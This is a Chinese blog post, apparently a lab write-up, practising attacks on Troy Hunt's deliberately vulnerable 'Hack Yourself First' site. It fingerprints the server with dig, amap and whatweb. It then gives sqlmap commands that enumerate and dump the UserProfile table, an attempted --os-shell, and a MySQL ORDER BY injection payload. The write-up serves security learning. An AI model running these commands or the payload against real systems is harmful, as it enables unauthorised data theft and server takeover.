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Play with hackyourselffirst.troyhunt.com - Lesson 1

分类： 网络与安全

2017-11-20 15:57:54

这个网站上面有很多的OWASP10的缺陷，可以练习提高我们的技术水平.

1. 首先尝试下Amap, Amap 作为一个扫描工具，可以探测 Web Application 的Version.

点击(此处)折叠或打开

  1. https://tools.kali.org/information-gathering/amap
首先，我们来找出hackyourselffirst.troyhunt.com 的IP地址.

点击(此处)折叠或打开

  1.  dig @8.8.8.8 hackyourselffirst.troyhunt.com A

    ; <<>> DiG 9.10.3-P4-Debian <<>> @8.8.8.8 hackyourselffirst.troyhunt.com A
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6927
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 512
    ;; QUESTION SECTION:
    ;hackyourselffirst.troyhunt.com.    IN    A

    ;; ANSWER SECTION:
    hackyourselffirst.troyhunt.com.    286 IN    CNAME    hackyourselffirst.azurewebsites.net.
    hackyourselffirst.azurewebsites.net. 3586 IN CNAME waws-prod-bay-003.vip.azurewebsites.windows.net.
    waws-prod-bay-003.vip.azurewebsites.windows.net. 286 IN    CNAME waws-prod-bay-003.cloudapp.net.
    waws-prod-bay-003.cloudapp.net.    46 IN    A    137.117.17.70

    ;; Query time: 52 msec
    ;; SERVER: 8.8.8.8#53(8.8.8.8)
    ;; WHEN: Mon Nov 20 14:59:53 CST 2017
    ;; MSG SIZE  rcvd: 223
IP地址是137.117.17.70 , 同时我们可以知道这个hackyourselffirst.troyhunt.com 有很多的别名(CNAME).
然后用Amap来探测下后台的Web application.

点击(此处)折叠或打开

  1. amap -bqv 137.117.17.70 80
  2. Using trigger file /etc/amap/appdefs.trig ... loaded 30 triggers
  3. Using response file /etc/amap/appdefs.resp ... loaded 346 responses
  4. Using trigger file /etc/amap/appdefs.rpc ... loaded 450 triggers

  6. amap v5.4 (www.thc.org/thc-amap) started at 2017-11-20 15:02:35 - APPLICATION MAPPING mode

  8. Total amount of tasks to perform in plain connect mode: 23
  9. Waiting for timeout on 23 connections ...
  10. Protocol on 137.117.17.70:80/tcp matches http - banner: HTTP/1.1 404 Not Found\r\nContent-Type text/html\r\nServer Microsoft-IIS/8.0\r\nDate Mon, 20 Nov 2017 070235 GMT\r\nConnection close\r\nContent-Length 5144\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <title>Microsoft Azure Web App - Error 404</titl
  11. Protocol on 137.117.17.70:80/tcp matches http-iis - banner: HTTP/1.1 404 Not Found\r\nContent-Type text/html\r\nServer Microsoft-IIS/8.0\r\nDate Mon, 20 Nov 2017 070235 GMT\r\nConnection close\r\nContent-Length 5144\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <title>Microsoft Azure Web App - Error 404</titl
  12. Protocol on 137.117.17.70:80/tcp matches http-apache-2 - banner: HTTP/1.1 400 Bad Request\r\nContent-Type text/html; charset=us-ascii\r\nServer Microsoft-HTTPAPI/2.0\r\nDate Mon, 20 Nov 2017 070234 GMT\r\nConnection close\r\nContent-Length 326\r\n\r\n<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

结果并不明确，这个网站使用的可能是IIS 也可能是Apache .
Amap的结果不让人满意，接着尝试Whatweb scanner


2.  Whatweb 的网站 https://www.morningstarsecurity.com/research/whatweb
Whatweb的命令行参数看起来要多的多.

点击(此处)折叠或打开

  1. Usage: whatweb [options] <URLs>

  3. TARGET SELECTION:
  4.   <TARGETs>            Enter URLs, hostnames, IP adddresses, or
  5.                   nmap-format IP ranges.
  6.   --input-file=FILE, -i        Read targets from a file.

  8. AGGRESSION:
  9.   --aggression, -a=LEVEL    Set the aggression level. Default: 1.
  10.   1. Stealthy            Makes one HTTP request per target and also
  11.                   follows redirects.
  12.   3. Aggressive            If a level 1 plugin is matched, additional
  13.                   requests will be made.

  15. PLUGINS:
  16.   --list-plugins, -l        List all plugins.
  17.   --info-plugins, -I=[SEARCH]    List all plugins with detailed information.
  18.                 Optionally search with a keyword.
  19.   --search-plugins=STRING    Search plugins for a keyword.
  20.   --grep, -g=STRING        Search for STRING in HTTP responses. Reports
  21.                 with a plugin named Grep.
  22. OUTPUT:
  23.   --verbose, -v            Verbose output includes plugin descriptions.
  24.                 Use twice for debugging.
  25.   --colour,--color=WHEN        control whether colour is used. WHEN may be
  26.                 `never', `always', or `auto'.
  27.  
  28. HELP & MISCELLANEOUS:
  29.   --short-help            This short usage help.
  30.   --help, -h            Complete usage help.

  32. EXAMPLE USAGE:
  33. * Scan example.com.
  34.   ./whatweb example.com
  35. * Scan reddit.com slashdot.org with verbose plugin descriptions.
  36.   ./whatweb -v reddit.com slashdot.org
  37. * An aggressive scan of wired.com detects the exact version of WordPress.
  38.   ./whatweb -a 3 www.wired.com
  39. * Scan the local network quickly and suppress errors.
  40.   whatweb --no-errors 192.168.0.0/24
  41. * Scan the local network for HTTPS websites.
  42.   whatweb --no-errors --url-prefix https:// 192.168.0.0/24
  43. * Scan for crossdomain policies in the Alexa Top 1000.
  44.   ./whatweb -i plugin-development/alexa-top-100.txt \
  45.   --url-suffix /crossdomain.xml -p crossdomain_xml

  47.   Note: This is the short usage help.
  48.   For the complete usage help use -h or --help.
使用whatWeb来探测下，得到的信息要多的多.

点击(此处)折叠或打开

  1. whatweb -v hackyourselffirst.troyhunt.com
  2. WhatWeb report for http://hackyourselffirst.troyhunt.com
  3. Status : 200 OK
  4. Title : Supercar Showdown - Supercar Showdown
  5. IP : 137.117.17.70
  6. Country : UNITED STATES, US

  8. Summary : JQuery, ASP_NET[4.0.30319][MVC5.1], HttpOnly[ARRAffinity,ASP.NET_SessionId], Cookies[ARRAffinity,ASP.NET_SessionId,VisitStart], UncommonHeaders[x-aspnetmvc-version], HTML5, X-Powered-By[ASP.NET], X-XSS-Protection[0], Microsoft-IIS[8.0], Script[text/javascript], HTTPServer[Microsoft-IIS/8.0], Google-Analytics[Universal][UA-43629727-1]

  10. Detected Plugins:
  11. [ ASP_NET ]
  12.     ASP.NET is a free web framework that enables great Web
  13.     applications. Used by millions of developers, it runs some
  14.     of the biggest sites in the world.

  16.     Version : 4.0.30319 (from X-AspNet-Version HTTP header)
  17.     String : MVC5.1
  18.     Google Dorks: (2)
  19.     Website : http://www.asp.net/

  21. [ Cookies ]
  22.     Display the names of cookies in the HTTP headers. The
  23.     values are not returned to save on space.

  25.     String : ASP.NET_SessionId
  26.     String : VisitStart
  27.     String : ARRAffinity

  29. [ Google-Analytics ]
  30.     This plugin identifies the Google Analytics account.

  32.     Version : Universal
  33.     Account : UA-43629727-1
  34.     Website : http://www.google.com/analytics/

  36. [ HTML5 ]
  37.     HTML version 5, detected by the doctype declaration


  40. [ HTTPServer ]
  41.     HTTP server header string. This plugin also attempts to
  42.     identify the operating system from the server header.

  44.     String : Microsoft-IIS/8.0 (from server string)

  46. [ HttpOnly ]
  47.     If the HttpOnly flag is included in the HTTP set-cookie
  48.     response header and the browser supports it then the cookie
  49.     cannot be accessed through client side script - More Info:
  50.     http://en.wikipedia.org/wiki/HTTP_cookie

  52.     String : ARRAffinity,ASP.NET_SessionId

  54. [ JQuery ]
  55.     A fast, concise, JavaScript that simplifies how to traverse
  56.     HTML documents, handle events, perform animations, and add
  57.     AJAX.

  59.     Website : http://jquery.com/

  61. [ Microsoft-IIS ]
  62.     Microsoft Internet Information Services (IIS) for Windows
  63.     Server is a flexible, secure and easy-to-manage Web server
  64.     for hosting anything on the Web. From media streaming to
  65.     web application hosting, IIS's scalable and open
  66.     architecture is ready to handle the most demanding tasks.

  68.     Version : 8.0
  69.     Website : http://www.iis.net/

  71. [ Script ]
  72.     This plugin detects instances of script HTML elements and
  73.     returns the script language/type.

  75.     String : text/javascript

  77. [ UncommonHeaders ]
  78.     Uncommon HTTP server headers. The blacklist includes all
  79.     the standard headers and many non standard but common ones.
  80.     Interesting but fairly common headers should have their own
  81.     plugins, eg. x-powered-by, server and x-aspnet-version.
  82.     Info about headers can be found at www.http-stats.com

  84.     String : x-aspnetmvc-version (from headers)

  86. [ X-Powered-By ]
  87.     X-Powered-By HTTP header

  89.     String : ASP.NET (from x-powered-by string)

  91. [ X-XSS-Protection ]
  92.     This plugin retrieves the X-XSS-Protection value from the
  93.     HTTP header. - More Info:
  94.     http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
  95.     aspx

  97.     String : 0

  99. HTTP Headers:
  100.     HTTP/1.1 200 OK
  101.     Cache-Control: private
  102.     Content-Length: 3276
  103.     Content-Type: text/html; charset=utf-8
  104.     Content-Encoding: gzip
  105.     Vary: Accept-Encoding
  106.     Server: Microsoft-IIS/8.0
  107.     Set-Cookie: ASP.NET_SessionId=1ifarra5yyutpekgrkxcmcab; path=/; HttpOnly
  108.     Set-Cookie: VisitStart=11/20/2017 7:53:15 AM; path=/
  109.     X-XSS-Protection: 0
  110.     X-AspNetMvc-Version: 5.1
  111.     X-AspNet-Version: 4.0.30319
  112.     X-Powered-By: ASP.NET
  113.     Set-Cookie: ARRAffinity=a58b2af319235c59b570f5ff28442356c3b989ad5027b21b3d5cc5b39074afda;Path=/;HttpOnly;Domain=hackyourselffirst.troyhunt.com
  114.     Date: Mon, 20 Nov 2017 07:53:11 GMT
  115.     Connection: close

3. 使用sqlmap 来做sqlinjection .
URL:
这里因为是orderby ，所以payload 应该是 orderby 字句，遗憾的是我不会sqlserver orderby 的hack. 只能依赖sqlmap了，如果是mysql, 可以使用如下的sql语句来hack.

点击(此处)折叠或打开

  1. select id from news where id=1 order by 1,(select case when(1=2) then 1 else 1* (select table_name from information_schema.tables)end)=1;
sqlmap是个很强大的武器，经过我的实验，以下都能使用.其中dump数据的最后一个语句要跑4，5分钟的样子。

点击(此处)折叠或打开

  1. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --dbs
  2. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --current-user
  3. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --current-db
  4. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --tables -D 'hackyourselffirst_db'
  5. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --column -T UserProfile -D 'hackyourselffirst_db'
  6. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --dump -T UserProfile -D 'hackyourselffirst_db
唯独--os-shell 的语句并不成功.

点击(此处)折叠或打开

  1. sqlmap -u http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid --os-shell
不过我已经很满足了，sqlmap 是个很强大的自动化sqlinjection 工具。一个人不见得能掌握所有的可以hack的sql 字句，sqlmap这时候起到了很关键的作用。

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